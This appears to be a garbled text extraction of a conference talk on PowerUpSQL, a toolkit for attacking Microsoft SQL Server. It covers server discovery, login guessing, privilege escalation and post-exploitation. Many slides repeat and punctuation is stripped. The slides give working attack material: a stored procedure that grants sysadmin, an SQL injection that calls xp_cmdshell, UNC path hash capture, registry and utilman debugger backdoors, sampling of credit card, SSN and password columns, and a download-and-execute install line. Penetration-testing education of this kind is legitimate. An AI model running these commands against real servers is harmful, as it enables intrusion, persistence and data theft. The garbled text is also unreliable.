SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)
Scalability via runspace threading Flexibility via pipeline support
ps objects and data tables Portability
o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file
Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential
PowerUpSQL Overview Functions
Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd
httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions
PowerUpSQL Overview Where can I get it
GithubhttpsgithubcomnetspiPowerUpSQL
PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL
PowerUpSQL Overview How do I install it
GithubImport-Module PowerUpSQLpsd1
IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)
Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy
PowerShell GalleryInstall-Module -Name PowerUpSQL
SQL ServerBasics
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
